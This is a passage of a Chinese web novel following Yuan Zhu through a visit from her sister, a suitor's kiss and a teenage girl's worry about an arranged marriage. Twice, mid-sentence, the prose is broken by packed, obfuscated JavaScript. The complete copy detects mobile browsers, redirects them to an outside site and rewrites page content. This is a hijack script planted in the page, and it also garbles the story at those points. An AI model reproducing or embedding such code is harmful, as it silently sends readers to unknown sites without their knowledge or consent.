养水仙花的棚子已经拆了,院子显得宽敞了不少,蔷薇架上冒出了小小的绿叶,春风微凉,阳光和煦,晒得人懒洋洋的,睡意逐渐萌生。 袁竹站起身来,想要回屋躺一会儿,却见袁萱草从二门走了进来,手边还牵着个孩子。 一瞬间,袁竹还以为自己是在做梦,石倩她们却已经站起身来,向袁萱草打招呼,“袁竹的姐姐来了!快来坐。” 袁萱草看见袁竹愣愣的,不知道是不是自己的出现招人烦,她迟疑地走了过去,“袁竹,我是不是来得不是时候?” 袁竹笑起来,快步迎了上去,“怎么会?我刚才有点犯困,脑子不太清醒,姐,你能来看我,我太开心了。” 看到袁竹笑了,袁萱草才放心了,笑着把孩子拉到身前,“这是我儿子,叫小宝,小宝,这是你小姨,快叫小姨。” 小宝看起来五六岁的样子,身上穿得鼓鼓囊囊的,脸上被风吹得红扑扑的,看着袁竹,有些害羞地唤了一声“小姨”。 “哎。”袁竹笑着应道,孩子脆生生的声音,听得人心里软软的,甜甜的,袁竹弯下腰去,摸了摸他的脑袋,“小宝真乖,是来看小姨的吗?” “是,奶奶说小姨家特别大,让我来小姨家玩儿几天。”小宝笑着说道。 袁竹直起身来,笑了笑,“行啊,那小宝就在这里住下,想住几天就住几天。” “太好了!”小宝一边鼓掌,一边欢呼,“娘,我们也能住上大房子了。” “小宝走了一路,也累了吧,要不要进屋睡会儿?”袁竹问道。 “我不想睡觉,我饿了,有东西吃吗?”小宝高兴地问道。 袁萱草脸上有些挂不住了,训斥道:“你这孩子,路上我让你吃馒头你不吃,现在又说饿,就该饿着你!” 见袁萱草生气了,小宝抿着嘴,满脸的委屈,“我不爱吃馒头,我想吃带馅儿的。” 石倩走了过来,“正好厨房里还有昨天蒸的包子,我去热几个,袁竹她姐,你也一起吃点儿吧。” “真是麻烦你了,我不饿,给就孩子热两个就得了。”袁萱草有些不好意思地说道。 “姐,这里是我家,就跟你家是一样的,不用客气,你饿了就一起吃点儿。”袁竹把她拉到自己的椅子前,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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袁萱草说这次会多住几天,袁竹忙问她和孩子爱吃什么菜,明天她去县里买回来,小宝大叫着要吃烧鸡,一桌子的人都笑了。 姜佑安吃了饭要回去,袁竹送她出了院门,闩上院门,袁竹回过身,看到阮荷站在不远处。 阮荷走了过来,“袁姐姐,你娘之前找过来,是你姐姐告诉她的吧。” “应该是,我爹脾气大,我娘没少挨打,我姐最是心疼我娘了,什么话都会跟我娘说。”袁竹答道。 “你娘走的时候,你给她拿钱了吧?”阮荷问道。 袁竹心里有些不舒服,觉得阮荷是在责怪她,她语气生硬地说道:“给了,我挣的钱,给我娘一点儿不算什么。” “袁姐姐,你别生气,我就是随口一问,你还记得吗?之前我给我娘拿钱的时候,跟佑安姐姐吵了一架,我跟你的选择是一样的,我能理解你的心情。”阮荷说道。 袁竹偏过头,看着一旁的门框,“那你问这个干什么?” “今年过年的时候,我回家看我娘和我爹,我想着这么久没回去了,他们看到我肯定很高兴,可我想错了,我娘和我爹只想着我要钱,说家里穷,我没嫁人,没换来彩礼,还骂我没用,不能多拿些钱回去,攒着给我弟娶媳妇。”阮荷说道。 袁竹看向阮荷,“你又给家里拿钱了?” “拿了,我想做一个懂事的孩子,能支撑起一个家的孩子,会被爹娘夸奖的孩子,可是那天,我独自走在回来的路上,我突然想明白了,我虽然是我爹娘的女儿,但只是一个能干活的下人,一个能换彩礼给弟弟娶媳妇的物件。”阮荷说着,眼睛红了,她吸了吸鼻子,“那里不是我的家,我爹娘也不爱我,不管我给他们拿多少钱,他们都不会爱我。” 130. 心事 “我明白你的意思,我知道我娘是来找我要钱的,可我家跟你家不一样,我们兄妹三人都已经成家了,不用攒娶媳妇的钱,我不在家的时候,我娘给我做了一双鞋,我想,她还是关心我的。”袁竹说着这样的话,心里却也没有十分的底气。 “那就好。”阮荷笑了笑,“我决定了,以后这里就是我的家了,我是袁家人,再也不会回到阮家去了。” 袁竹也笑了,“这里是我家,也是你家,我们都不回去。” “那我回屋了,你早点休息。”阮荷微笑着说道。 “嗯,你也是。”袁竹说道。 袁竹去房间里看袁萱草,见石倩已经给她们娘俩打了热水,灯也点上了,她向石倩道了谢,让姐姐早点睡,自己去了耳房。 刚进屋没多久,袁萱草就来了,她推开房门,有些忐忑地问道:“我能进来跟你说说话吗?” 袁竹关上了房门,把她拉到床边坐下,“姐,你怎么跟我还这么客气啊,上次我们说话说到半夜,你都忘了?” 袁萱草看着袁竹开心的笑脸,心中五味杂陈,“上次我走的时候,都不知道,你怎么还往包袱里放了银子?” “小宝出生,我都没给你拿过钱,现在有钱了,也该补上。”袁竹笑着说道。 “你这里养着这么多孩子,我真是不好意思收你的钱,本来想给你拿回来的……”袁萱草说着,叹了口气,“可偏偏让我婆婆看见了,她就给收起来了。” 袁竹听了,很为姐姐不平,“我给你的钱,你怎么能让她拿走?” “我们家一直是婆婆管钱,她身体不好,我也不敢惹她生气。”袁萱草说道。 姐姐的家事,袁竹也不好多说什么,“没事,反正她拿着,也是用在你们家,给她就给她吧。” 袁萱草却还是放不下,“你挣钱也不容易,我真该给你送回来的。” “姐,你放心好了,我给你钱,是我给得起,我要是没钱,肯定就不给你了,我们是亲姐妹,你还不知道我?我才不会打肿脸充胖子,自己活不起了,还非要给你钱。”袁竹笑着说道。 袁萱草听了,心里舒坦了不少,终于露出了笑脸,“那就好。” “姐,你去睡吧,明天上午我去卖花,等下午我回来,咱们再继续聊,我有好多话要跟你说呢。”袁竹说道。 “嗯,好。”袁萱草点了点头,起身走了出去。 躺在床上,袁竹想到她暴躁的爹、软弱的娘,想到疼爱她的姐姐,还有和爹很像的哥哥,想到娘给她留下的那双鞋,想到曾经的丈夫和婆婆,还想到阮荷的妹妹、阮荷的爹娘,想到被丈夫殴打的徐洪愿,想到被退婚的郭英,还想到张慈带着孩子冒雨来到她家。 她想了许多许多,却又什么都没想明白,她有点羡慕阮荷,阮荷已经决定抛下阮家成为袁家人了,她却还有些犹豫不决,如果娘和姐姐待她再狠毒一点儿,也许她就能下决心了。 早上醒来时,阮荷觉得脑子有些晕晕的,想着可能是昨晚没睡好,也没什么大碍,起了床就去剪花去了。 吃过早饭,辛开元已经在大门口等着了,袁萱草来送她,看到辛开元把担子挑在肩上,袁竹和徐洪愿跟在后面,慢慢走远了。 袁竹觉得头有点晕,所以在辛开元提出要挑担子的时候,她也没拒绝,到了县城里,今天没有人拉着徐洪愿诉苦,卖完了花,又去了买了烧鸡和其他东西,三人就一起回去了。 辛开元把担子挑到院子里,向袁竹道了别,就转身出去了,袁竹反应慢了一些,等他走出了二门,才想起来要给他们拿一只烧鸡。 袁竹拿着一包烧鸡追了出去,“辛开元,等一下,你把这个拿回去,你们和邵老师她们一起吃。” 辛开元接过了烧鸡,看着沁油的纸包,没有说话,袁竹觉得他今天怪怪的,一路上都没怎么说话,“怎么了?你不爱吃?” “不是。”辛开元抬起头来,有些紧张地看着袁竹的眼睛,“袁娘子,我嫁给你,好不好?” 袁竹一时懵了,“什么?” “袁娘子,你娶了我好不好?我想嫁给你,我想和你一起生活。”辛开元恳求道。 袁竹垂下眼帘,躲避着他的目光,“我们不是说好,不谈这个问题吗?” 辛开元向前挪了半步,“我不是逼你跟我成亲,如果你不想成亲,我们就像姜院长和戴老师一样,只生活在一起,不举办婚礼,怎么样?” “我不是姜佑安,我做不到像她那样,你要是想要跟女人一起生活,还是去找别人吧。”袁竹先是向后退了一步,而后转身跑进了院门。 捂着怦怦乱跳的心缓了一阵子,袁竹探头向外看去,见辛开元垂头丧气地往学堂那边去了, 袁竹用冰凉的手捂着发烫的脸蹲了下去,她曾经偶然间看到姜佑安和戴庭芳搂抱在一起,辛开元想要跟她一起生活,是想要对她做那种事吗? “袁竹,你姐姐正在找你呢。”徐洪愿从里面走出来,“你蹲在这里做什么?身子不舒服吗?” 袁竹站起身来,半低着头,抬手遮着额头,“是有点不舒服,可能是昨晚没睡好,我去屋里躺会儿。” “哦,那你去睡会儿吧,吃午饭的时候我去叫你。”徐洪愿说道。 徐洪愿先一步进了院子,跟袁萱草说袁竹昨晚没睡好,要去躺会儿,袁萱草便去开了耳房的门,随袁竹一起进了屋,给她盖好被子,嘱咐她好好休息。 中午袁竹没起来,阮荷给她送了饭,下午她又继续躺着,却始终没有睡着。 辛开元炽热的眼神在她脑海里盘旋不去,他在想什么?他想要做什么?成亲了又能如何?为什么他想要一起生活?难道只是为了那种事? 袁竹想起了一些痛苦的回忆,她不想再像以前那样生活,不想再有那样的经历,哪怕那个人是辛开元。 下定了决心,袁竹昏昏沉沉地睡着了,晚饭时袁萱草见她睡得沉,也没有叫她,让她一直睡到了清晨。 早上吃过了早饭,袁竹又恢复了精神,和徐洪愿一起出了门,院门外却不见每天等候的辛开元。 袁竹在门口等了一会,见学堂那边没有人走过来,就说不等了,和徐洪愿一起卖花去了。 一路上,袁竹都有些心不在焉的,昨天她脑子晕晕的,也没太在意辛开元的异常,他昨天是怎么了?发生了什么事吗?还是说他等得不耐烦了,想要放弃了? “洪愿,昨天辛老师跟你说什么了吗?”袁竹问道。 “没有啊,昨天他 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“我挑一会儿吧。”徐洪愿伸手接过袁竹身上的担子,“那你说怎么办?” “一点小事而已,我自己就解决了,不用你出手。”看着徐洪愿挑着担子,挺直腰板,大踏步地向前走,袁竹又想起了第一次见她的时候,“洪愿,你以后还想和男人一起生活吗?” “不想。”徐洪愿想都没想,“我自己活得好好的,干吗想不开去给男人打。” “现在和离的人多了,打老婆的人也变少了。”袁竹说道。 “那我也不想,和姐妹们一起生活挺好的,现在我也能挣钱了,谁还想去看男人的脸色生活。”徐洪愿说道。 袁竹点了点头,“你说得对。” 要是因为和他吵架了,因为他生气了,自己就得妥协,答应和他成亲,那不就是在看男人的脸色生活吗?袁竹不想那样,还是不成亲更自在,辛开元本来就是突然来的,他想突然就离开,也随他。 袁竹想开了,就岔开了话题,两人一路聊着进了城,卖完花,两人又去割了几斤肉,让钟二娘她们晚上多做些肉菜,给大家解解馋。 两人回到袁家时,大家正在院子里包包子,一大瓦盆的芝麻馅儿,调得又香又甜。 “今天吃包子啊?”徐洪愿放下担子,就跑到了桌边。 “这是袁娘子姐姐自家种的芝麻,特意给咱们带来的,咸包子馅儿吃多了,今天咱们也换换口味。”石倩笑着说道。 徐洪愿凑到馅儿盆上方闻了闻,“能让我先尝一口吗?” 钟二娘笑了,手上捏着包子褶,“你卖花辛苦了,给你尝,去洗了手来。” 徐洪愿去洗了手,把手伸向钟二娘,钟二娘从瓦盆里舀了一勺芝麻馅儿放到她的手心了,她舔了一口,“真香!” “炒过的芝麻,能不香吗?”石倩说道。 袁竹把肉拿进厨房,去井边洗了手,走了过来,“我姐呢?” “她说要带着小宝去学堂看看,应该一会儿就回来了。”钟二娘说道。 袁竹转身向外走去,“我也去学堂看看。” 131. 探病 刚走到院门外,袁竹就看见小宝蹦蹦跳跳地跑了过来,袁萱草在他身后不远处,也在往这边走来。 “小姨,你回来了!”小宝高兴地叫道。 袁竹本想趁机去看看辛开元走没走,见两人回来了,也只好作罢,弯腰回道:“嗯,回来了,小宝去哪儿玩了?” “去学堂玩儿了,里面有好多人,不过她们说什么,我听不懂。”小宝答道。 袁竹笑了笑,“小姨也不懂,等以后小宝识字了,就懂了。” “识字是什么?”小宝好奇地问道。 “识字是认识字,知道字怎么写,是什么意思,识字了就能读书了,要是书读得好,以后说不定还能当大官呢。”袁竹说道。 小宝的眼睛亮亮的,“当大官?当大官是不是就有好多烧鸡可以吃?” “对啊,小宝想吃多少就吃多少。”袁竹笑着答道。 “那小宝要识字,以后要当大官!”小宝兴奋地说道。 袁萱草走过来,笑着说道:“你跟他说这些干什么,我们家哪有钱让他读书。” 小宝听了,很是失望,“我不能读书吗?” 袁萱草摸了摸他的脑袋,安慰道:“咱们家的钱得留着给你娶媳妇,就不读书了,好不好?” “娶媳妇也能天天吃烧鸡吗?”小宝问道。 “你跟你媳妇要是能挣钱,就能吃烧鸡。”袁萱草说道。 “那我不要媳妇了,我要读书,我要当大官!”小宝说道。 “你要是娶不到媳妇,以后会让人笑话的。”袁萱草说道。 “我不管,我要烧鸡,要烧鸡!”小宝往地上一坐,哭闹起来,袁萱草一时气恼起来,对着他屁股打了两下,小宝哭得更大声了。 袁竹也不知道该不该管,只劝姐姐不要打孩子,徐洪愿走了出来,抱着小宝往院子里走,轻声安慰着,袁萱草也跟着走了进去。 袁竹往学堂那边看了看,读了书了也不能考科举的女孩子,和没钱读书的男孩子,不知道哪个更可怜一些,再一想,男孩子说不定以后还有机会,可女孩子却是一点机会都没有,不管读没读书,以后都要成为别人家的媳妇,伺候一家人,真是可惜了。 唉!袁竹叹了口气,转身回了院里,找了个人去告诉杨恩一声,中午不用做饭了,让学堂那边的人都过来吃包子。 中午放学,学生们和老师们排成长列进到袁家院子里,钟明珠一回来,就黏在钟二娘身边,帮她给大家盛粥,在园子里练了一上午箭的箫悦笙也回来了,帮着石倩她们一起分发包子,大家各自找了地方,吃起饭来。 袁竹到处看了看,走到杨恩身边,“辛开元怎么没来,他回家了吗?” “没有,他病了,说头晕起不来床,我看是着了风寒,得歇两天了,等会儿我给他打粥回去,不会让他饿着的。”杨恩说道。 不是离开了,也不是放弃了,原来是生病了,袁竹在心里暗暗松了一口气。 “我去给他送过去吧。”袁竹去找了食盒来,装了粥、包子和小菜,往学堂那边去了。 辛开元的住处是那几所房子中最东边的一所,袁竹路过了学堂,穿过了训练场,打开了篱笆门,来到了屋门前,她轻轻推开门,吱呀一声响,把她吓了一跳。 “是杨恩吗?专门给我送饭,真是多谢你了。”辛开元的声音从东侧的房间里传出来。 袁竹走了过去,房门在开着,她调整了呼吸,走了进去,“杨恩还在吃饭,我先给你送过来了。” 辛开元赶忙从床上坐了起来,“怎么是你?” “你身体怎么样?有哪里不舒服吗?”袁竹没去看他,把食盒放在一旁,把桌子搬到床边,把食盒里的东西一一摆在了桌上。 辛开元拽着被子遮着身子,神色有些窘迫,“我没事,一点儿小毛病而已。” 袁竹匆匆扫了他一眼,转过头去,“这个季节就脱光了睡,怪不得会着凉。” “我平常不是这样的。”辛开元解释道。 见他身子没什么大碍,袁竹也就放心了,一想到他没穿衣服,袁竹就有些紧张,她迈步向外走,“你先吃饭吧,我回去了。” “等一下!”辛开元裹着被子,跪在了床上,“袁娘子,你先别走。” 袁竹没有回头,故作冷静地问道:“还有什么事吗?” “袁娘子,你是不是生我的气了。”辛开元问道。 “没有,你好好养病吧,其他的事,之后再说。”袁竹说着又要往外走。 “袁娘子!”辛开元慌了,想要爬下床去追,被子牵绊着他的脚,他身子一歪,摔在了地上。 听到后面的动静,袁竹转过身来,见辛开元倒在了地上,赶忙去扶他,“怎么了这是?你没事吧。” 好在有被子垫着,辛开元没觉得疼,他一把抓住了袁竹的手腕,“袁娘子,都是我的错,你生我的气是应该的,我不该提成亲的事,也不该说要和你一起生活,求你不要赶我走。” 看着他乞求的眼神,袁竹心生怜爱,轻声安慰道:“我没有生气,也没想要赶你走,你先起来,把饭吃了吧。” “真的?”辛开元的眼睛里迸发出欣喜的神色,身子微微直起,被子从他身上滑落,整个后背和屁股都暴露在袁竹的眼前。 袁竹脸上发热,赶忙转过头,“你先把衣服穿上吧。” “哦,好。”辛开元又是高兴,又是尴尬,拉起被子连声道歉,“对不起,真是污了袁娘子的眼。” 袁竹起身走了出去,直到辛开元大声说他穿好衣服了,袁竹才又走了进去。 辛开元的脸红红的,不知道是害羞还是生病的缘故,他冲袁竹笑了笑,神情中略带着讨好的意味,“真是麻烦你了,还给我送饭来。” 袁竹搬了椅子在床边坐下,“今天你没去卖花,我还以为你回家了。” “其实我病得也没那么严重。”辛开元舔了舔嘴唇,“我昨天说了那样的话,真是没脸见你。” 辛开元要是逼迫她,袁竹反而能理直气壮地赶他走,他这样低声下气,承认自己的错误,倒让袁竹有些自责,自己是不是做得有些过分了?是不是完全没有考虑他的感受? “你来这里也好几个月了,我知道你的目 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“不,不是的。”袁竹抿了抿嘴唇,“是我的前夫,我害怕再经历之前的一切。” 辛开元皱起眉头,“你害怕他?他做了什么?是不是欺负你了?” 袁竹低下头,沉默不语。 辛开元掀开被子,坐在床边,向袁竹说道:“我不能保证说,我和你的前夫一定不一样,但我不愿意伤害你,我绝不会强迫你,我会听从你的意见,如果不成亲,不跟我生活在一起,你愿意让我留在你身边吗?” 袁竹沉默良久,咬着下唇,轻轻点了点头。 “太好了!你答应让我留下了!”辛开元高兴地握住了袁竹的手,袁竹低头笑了笑,没有拒绝。 “袁娘子。”辛开元轻轻唤道。 “嗯?”袁竹抬起头来。 握着袁竹的手,辛开元的心跳如擂鼓,他尽力控制着自己的声音不要颤抖,动情地问道:“我可以吻你吗?” “闻我?”袁竹转头往自己的肩膀嗅了嗅,“我身上有什么味道吗?” 辛开元笑了笑,心里的紧张缓解了不少,“没有味道,我是问,我可以亲你吗?” 袁竹一时僵住了,她微微有些抗拒,对小宝那样的小孩子亲亲抱抱,她可以理解,她都是大人了,还这样,真是臊得慌,“为什么?我又不是小孩子了。” “我想亲的是你,不是小孩子。”辛开元还在笑着,“你不喜欢?你要是讨厌的话,就当我没说。” 袁竹抿了抿嘴唇,像是下定了决心,偏过脑袋,把脸凑了过去,“你亲吧。” 辛开元顿觉心花怒放,轻轻在她脸上亲了一下,嘿嘿傻笑起来。 袁竹觉得有些害羞,故意笑话他,“就这么开心吗?” “开心。”辛开元笑着点了点头。 袁竹脸红了,一时不知道该说些什么好。 看着她红红的脸,辛开元的心躁动不已,他壮着胆子,俯身又凑了过去,吻在了袁竹的唇上。 132. 亲事 袁竹先是一愣,而后推开了他,站起身来,“粥都要凉了,你赶紧吃吧。” 她低着头,快速地说完话,转身跑了出去。 “对不起!袁娘子!你不要生气,是我错了!”辛开元赶忙下了床,追了出去。 袁竹已经跑出了门口,见辛开元光着脚追了出来,她又跑回去,把辛开元推回屋里去,“我没生气,你快回去躺着。” 看到她羞涩的表情,辛开元这才放了心,笑着点了点头,“我这就去躺着,袁娘子,你回去的时候慢点儿走。” “知道了。”袁竹转身走了出去。 辛开元看着她一路小跑消失在视野里,才回了屋,钻进了被子里。 他觉得简直不可思议,昨晚他想着袁竹,久久不能入睡,担心被她赶走,今天袁竹竟然亲自给他送饭过来,同意他留在身边,还接受了他的吻。 辛开元咬着手指,想像袁竹的嘴唇,身上一阵燥热,内心久久不能平静,在被子里安抚了自己好一阵,才爬起来把粥吃了。 粥和包子都已经凉了,辛开元却吃得格外有滋味,他觉得自己就要守得云开见月明了,不久之后,他和袁竹肯定就能像姜佑安和戴庭芳那样,夜夜厮守,一想到这,他就嘿嘿傻笑起来。 袁竹一路跑回了袁家,大家都已经吃完了饭,在厨房刷碗了,石倩从小锅里的箅子上端出一碗粥和两个包子,又给她盛了小菜,让她去堂屋吃去。 袁竹端着碗盘,去了耳房,把饭菜放在桌上,自己搬了椅子坐在桌旁,却没有吃饭的意思,手肘拄在桌上,手撑着脑袋,看着包子发呆。 袁萱草走了进来,“怎么还不吃饭?你刚刚去哪儿了?” 袁竹回过神来,赶忙抓起包子咬了一口,“常跟我一起去卖花的辛老师病了,我刚去看看他病得重不重,顺便给他送了饭。” “哦,是他啊。”袁萱草在床边坐下,笑着说道:“那小伙子看着不错,你跟他多来往来往,也挺好的。” “小宝呢?吃完饭睡了吗?”袁竹问道。 “没有,白凤她们说下午休息,不用去学堂,带着小宝一起去园子里玩儿了。”袁萱草说道。 袁竹喝了一口粥,“休息休息也挺好的。” “小孩子都贪玩儿,肯定觉得休息好。”袁萱草站起身,搬了小板凳坐在袁竹身边,“袁竹,我说那个辛老师,你真的可以考虑一下,他天天跟着你卖花,肯定也是有想法的。” “没有,你想多了,人家那么年轻,哪能看得上我。”袁竹又转移了话题,笑着说道:“这芝麻是你拿来的吧,真香。” 袁萱草笑了笑,“都是自家地里长的,我婆婆说家里没什么东西,也不好空着手过来,就给我装了点儿芝麻。” “这哪里是一点儿?我看孩子们都特别喜欢这芝麻馅儿的包子,你回去之后,替我谢谢你婆婆。”袁竹说道。 “嗯,我一定告诉她。”袁萱草点头应着,一会儿又把话题引到了辛开元身上,“辛老师看起来年纪是小点儿,可你年纪也不大,又不是七老八十了,不好嫁人,有合适的,你就得赶紧抓住,以后年纪大了,就更不好找了。” “姐,我又不是没嫁过人,自己过得好好的,我干吗找那个罪受。”袁竹说道。 “你之前嫁的那个男人,连床都下不来,哪还能算是个人?我知道你因为这个事,怨恨爹娘,可你也不能就这样,一辈子不嫁人了啊?”袁萱草说道。 “不嫁人怎么了?”袁竹咬着包子反问道。 “人家一家人多日子,热热闹闹的,多好,你一个人多孤单。”袁萱草说道。 袁竹忍不住笑了,“我这里这么多人,哪孤单了?” 袁萱草也笑了,“你这里人是多,不也没有一个男人给你暖被窝吗?” 袁竹嫌弃地撇了撇嘴,“我才不用人暖被窝,我有汤婆子给我暖。” “可你总得生孩子吧,没有男人,你怎么生孩子?”袁萱草说道。 “我这里孩子多的是,好几个都跟我姓袁了,根本不用我自己生。”袁竹说道。 袁萱草说不过她,有些生气了,“你这孩子!那又不是你亲生的,能一样吗?” “不是亲生的,也都是我袁家的孩子,都一样有吃有穿,还能认字读书,有什么不一样的?”袁竹问道。 “自己亲生的,就是不一样!”袁萱草说道。 袁竹端起碗喝粥,“我们前面那家姓张的姐姐,她嫁了人,生了个女儿,她夫家根本看不上,还不是又领养了个男孩回来?是不是亲生的,我看根本不重要。” “那不是生了女孩吗?要是生了男孩,就好了。”袁萱草说道。 袁竹生气地把碗放在了桌上,“女孩怎么了?我们不都是女的吗?凭什么就男孩高贵?还说什么亲生的孩子不一样,结果对领养的男孩比亲生的女孩还好,有什么重要的?在他们眼里,还是□□那二两肉最重要!” 袁萱草皱起了眉头,“这不都是没办法的事嘛,男人才是家里的顶梁柱,没有男孩会被人瞧不起的。” “我不觉得男人才是顶梁柱,我们袁家这么多人,女人不也撑起来了吗?”袁竹又端起碗,继续吃了起来,“反正我是不想嫁人,不想到别人家里去,也不想再受那个委屈了。” 袁萱草叹了口气,“女人不都是这样,早晚都是要到别人家里去的。” “我就不去,就算我以后要成亲,我也要招个上门女婿。”袁竹说道。 袁萱草笑了,“你尽说些孩子气的话,别人都是娶媳妇,你老公是上门女婿,他心里能高兴吗?” “不高兴就不过了呗,我又不是强迫他,再说了,那么多女人当上门媳妇,我看也没人反对啊。”袁竹说道。 袁萱草听了,一时沉默下来,没再继续劝说她,袁竹趁机,呼噜呼噜把粥喝完了,站起身要去刷碗。 袁竹端着碗正要往外走,却见周帛站在门外边,“周帛,你找姜佑安吗?她没在这里。” 周帛的神情有些扭捏,她两手紧张地捏着手指,“我不找姜院长,我是找你的。” 袁竹把碗放回了桌上,把周帛请了进来,“找我什么事?” 周帛看了一眼坐在板凳上的袁萱草,袁萱草马上站起身来,“我先走了。” “没事的,袁姐姐不用走。”周帛赶忙说道。 袁竹去把门关上,把椅子挪到床边,让周帛在椅子上坐了,她和姐姐坐在床边,轻声说道:“有什么事,你说吧。” 周帛深吸了一口气,才缓缓说道:“我爹给我说了门亲事。” “小姑娘你今年多大了?”袁萱草问道。 “十七了。”周帛答道。 袁萱草点了点头,“也到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779184|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了该成亲的年纪了。” “你来找我是为什么?你不想嫁人?”袁竹问道。 周帛点了点头,“我听说袁娘子可以帮人和离,我想问问,你能不能也帮帮我?” “帮人和离?你还做这种事?”袁萱草很是吃惊。 “和男人一起过得辛苦,还不如离开男人,我帮人和离,是在帮女人不再受苦。”袁竹看向周帛,“你要我怎么帮你?” “我想让你跟我爹娘谈谈,我不想这么快嫁人。”周帛说道。 “儿女的亲事都是爹娘做主的,袁竹一个外人,怎么能去跟你爹娘说这种事?”袁萱草说道。 “我可以去说,但他们会不会答应,可不好说。”袁竹说道。 “你爹娘给你说的是什么人家?男方长得怎么样?是干什么的?”袁萱草问道。 周帛摇了摇头,“我不清楚,我娘刚一说,我就觉得讨厌,也没听她仔细说,就来书院了。” “你爹娘平时对你怎么样?”袁萱草又问道。 “我家里就我跟我姐姐两个孩子,我爹娘对我和我姐姐都挺好的。”周帛说道。 “你姐姐嫁人了吗?”袁萱草问道。 “嫁人了。”周帛答道。 “她嫁了什么人,她夫家对她怎么样?”袁萱草问道。 “嫁的是个秀才,听说家里还挺有钱的,刚成亲那阵对我姐不太好,她公公打了她,我爹娘就带人去那边闹了一通,后来他们就不敢打我姐了,现在她公公也死了,她老公和婆婆对她还挺好的。”周帛说道。 “我看你爹娘不是不靠谱的人,也是真的疼你姐姐,你的婚事,你爹娘肯定也是好好挑选了的,你不用着急拒绝,不如你回去问问,你爹娘给你挑的是哪户人家,叫什么,是做什么的,我们好帮你打听打听,要是确实不怎么样,你再拒绝也不晚。”袁萱草说道。 周帛听了,若有所思地点了点头,起身向两人告辞,“好,那我回去问问。” 看到周帛出了房门,袁竹看向袁萱草,微笑着说道:“姐,你还和以前一样,真是个靠谱的大人。” 袁萱草也小笑了,“你倒是跟以前不一样了,原来只是一个小小的跟屁虫,现在也变成靠谱的大人了。” 袁竹笑了笑,拿起碗盘去了厨房。 第二天一早,周帛就来找了袁萱草,跟她详细说了男方的情况,袁竹听说那人在崇正书院读书,就说可以去找程祥问问情况,袁萱草说要对周帛负责,要跟着一起去,姜佑安在一旁听了,也要去看看,说顺便去看看程祥。 袁竹让徐洪愿在家休息,带着姜佑安和袁萱草出了门,院门外,辛开元已经在等着了,袁竹以他病还没好为由,把他赶了回去。 三人去了崇正书院,叫了程祥出来,向他打听了那个姓王的学生的样貌和品行,程祥说了王公子平日在书院的表现,还特意把他叫出来,让他跟姜佑安说了几句话。 袁萱草见他个子不矮,长得端正,说话也大方,心里十分满意,回去见到周帛就把她叫到房间里,跟她夸奖了一番,也把程祥说的话转述给了她。 周帛听了,觉得放心多了,“多谢几位姐姐了。” “你才十七,你父母也太着急了点儿,在家里再待几年多好。”姜佑安说道。 周帛低头抠着手指,“其实,我爹这么做也是为了我好。” 133. 旧约 “昨天你还想拒婚呢,怎么今天就向着你爹说话了?”袁竹笑着说道。 “我确实是不想这么早成亲。”周帛叹了口气,“其实这事,还是我爹不好。” “怎么一会是为你好,一会儿又说你爹不好?你都把我弄糊涂了。”袁萱草说道。 “都怪我爹以前爱喝酒,喝醉了,就把我跟他的一位好友的儿子结了娃娃亲,还交换了信物,后来那位好友全家搬去了京城,就失去了消息,也不知道他那位好友的儿子现在长成了什么样子,是什么性格、什么人品,我爹很不放心,怕他突然出现,要把我娶到京城去,所以就想在好友的儿子回来之前,赶紧把我嫁出去。”周帛解释道。 “还有这档子事,你爹真是不靠谱。”袁萱草说道。 “我爹酒醒之后就后悔不已,找去好友家的时候,人已经搬走了,他也没办法,那之后他就戒酒了,反正他现在是特别害怕我会远嫁到京城去,说是嫁得远了,一年到头见不到人,被夫家欺负也不知道。”周帛说道。 “虽然有点不靠谱,不过,你爹真挺疼你的。”袁竹感叹道。 “你想嫁人吗?”姜佑安问道。 “我还没想好。”周帛诚实地答道。 “那你就先别答应这门亲事,你还小,等考虑好了再说,说不定你爹好友的那个儿子,早就已经娶亲了,又或者夭折了也不一定,别为了未知的风险,把自己推进另一种风险里。”姜佑安说道。 “我看那个王公子人挺好的,嫁给他应该没什么风险吧。”袁萱草说道。 “我们这有一位徐娘子,她前夫也是崇正书院的学生,在同学和老师面前,也是温良的谦谦公子,回家后却把脾气都撒在她身上,打得她遍体鳞伤,和离之后,在我们这里养了好一阵伤才好,在同学和外人面前表现好,也不一定真是个好人。”姜佑安说道。 袁竹点了点头,“嗯,你说得对,是得好好考虑。” “我看他不像个坏人。”袁萱草坚持道:“遇到一个条件这么好的,不赶紧抓住,可就让别人挑走了。” 姜佑安不认同她的说法,“坏人脸上也不会写着坏人二字,知人知面不知心,对我们这样只见了一面的陌生人,他不可能表现出自己的真面目,贸然嫁给一个并不了解的人,就是一场赌博,还是应该慎重些。” 袁竹怕她们两人吵了起来,赶忙拉着周帛转移了话题,“你爹的好友原先住在哪儿,我们去打听打听,说不定能知道他儿子现在在哪。” “他家原本就在这附近的李家村,不过,我爹来打听过很多遍了,都没有人知道他家的消息。”周帛说道。 “到京城去的,姓李的孩子?”姜佑安想到了李长风,不会这么巧吧,难道李长风就是跟周帛定了娃娃亲的人? “那孩子家里人都叫什么?你告诉我们,我们离李家村近,可以常帮你打听着点儿。”袁竹说道。 “那孩子叫李宗本,他爹叫李术,他娘死的早,家里就他们两人相依为命。”周帛说道。 袁竹点了点头,“行,我们都记着点儿,都过去那么多年了,人一直没回来,说不定都已经忘了这茬了。” “对啊,就当没有这事吧,我看那个王公子真的不错,你可要好好把握住。”袁萱草说道。 姜佑安没再继续参与她们之间的对话,而是去找了李长风,杨恩正在做饭,李长风在给他打下手。 看到姜佑安走进了厨房里,李长风高兴地问道:“姜院长,你怎么来了?” “长风,你还记得你是哪里人吗?”姜佑安问道。 李长风往灶口里添着稻草,“不记得了,从我记事起,我就在京城了。” “你一直叫这个名字吗?有没有改过名?”姜佑安问道。 